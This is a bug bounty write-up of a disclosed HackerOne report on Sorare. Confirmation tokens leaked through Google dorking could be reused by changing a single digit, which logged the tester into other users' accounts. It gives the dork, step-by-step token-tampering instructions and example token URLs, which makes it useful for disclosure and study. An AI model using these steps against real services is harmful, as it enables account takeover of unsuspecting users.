# Mystery with a leaked token and Reusability of email confirmation link leading to Account Takeover

Leaked email-confirmation tokens found via Google dork could be reused by tweaking a single digit in the token, letting an attacker log into any account without a password.

- Payout: $300
- Severity: low
- Program: Sorare
- Found by: gokulsk
- Disclosed: 2023-02-03
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/1817214
- Library page: https://bugbountylibrary.com/r/h1%3A1817214
- Tags: area:web domain:web impact:ato kind:bounty platform:hackerone sev:low tech:email technique:default-creds technique:recon vuln:account-takeover vuln:auth-bypass vuln:business-logic

**Target:** sorare.com /confirm_email and /confirm_device token endpoints
**Root cause:** Confirmation tokens are weakly generated/validated: a single numeric character change in an already-used token yields a valid token, and the endpoint signs the user in without credentials.
**Steps:**
1. Google dork `site:sorare.com inurl:token` to find leaked confirm_email/confirm_device links
2. Open `https://sorare.com/confirm_email?token=Jt7S7WS_4EphEyiDn6z_&redirectUrl=...` while logged out; observe 'already confirmed' error
3. In the address bar change the standalone digit in the token (e.g. `4`→`6`): `token=Jt7S7WS_6EphEyiDn6z_`
4. Submit the modified URL from the address bar (not by pasting fresh) to be signed in as the token owner
5. Repeat on own account: change `2`→`5` in `qvQfgPqvWV-2FiM5k2f7` to confirm reuse
**How found:** Frustrated hunter tried Google dorking `site:sorare.com inurl:token`, found leaked confirmation/device links, noticed the expired email link still had a token, and hypothesized that weakly-random tokens might be reusable by tweaking characters — specifically the digit not embedded between letters.
**Exploitation:** Attacker harvests leaked confirmation links via Google dorking, opens the expired link, then edits a single numeric character in the token in the address bar; the modified token is accepted and the endpoint logs the attacker into the victim's account without a password.
**Escalation:** Same weakness on /confirm_device tokens allowed access to another user's profile settings (profile picture, game settings).
**Insight:** When a token is rejected as 'already used', try mutating individual characters (especially standalone digits) in the address bar rather than resubmitting — weak token generation/validation can accept near-miss tokens and re-trigger the login side effect.

## Proof of concept (copied exactly from the original report)

**Google dork finding leaked token links**

```
site:sorare.com inurl:token
```

**Manipulated confirm_email token bypass**

```
https://sorare.com/confirm_email?token=Jt7S7WS_4EphEyiDn6z_&redirectUrl=https%3A%2F%2Fsorare.com%2F

C. Now it will show like this: 
Errors: was already confirmed, please try signing in

D. So you may think "Oh, the link is not valid anymore, we should try some other bugs." NO!

Just observe this confirmation link:

Already used link: https://sorare.com/confirm_email?token=Jt7S7WS_4EphEyiDn6z_&redirectUrl=https%3A%2F%2Fsorare.com%2F  (Invalid)
=====================
 
Now here is a token parameter in this URL:

token=Jt7S7WS_4EphEyiDn6z_ (invalid token)
=====================

Now focus on the numbers in this token. So what to do to reuse this link is token is to concentrate on the numbers that stays freely and not in between the alphabets. I mean '4'. Because 4 is not in between those strings but it starts after an underscore. So chage this 4 to 6 or5.

Now the token manipulated to: 

token=Jt7S7WS_6EphEyiDn6z_  (Valid)
```

**Second account token digit change PoC**

```
https://sorare.com/confirm_email?redirectUrl=https%3A%2F%2Fsorare.com%2F&token=qvQfgPqvWV-2FiM5k2f7(Invalid link)

Here I observed the token and changed the number 2(after hyphen) to 5 or something:

https://sorare.com/confirm_email?redirectUrl=https%3A%2F%2Fsorare.com%2F&token=qvQfgPqvWV-5FiM5k2f7
```

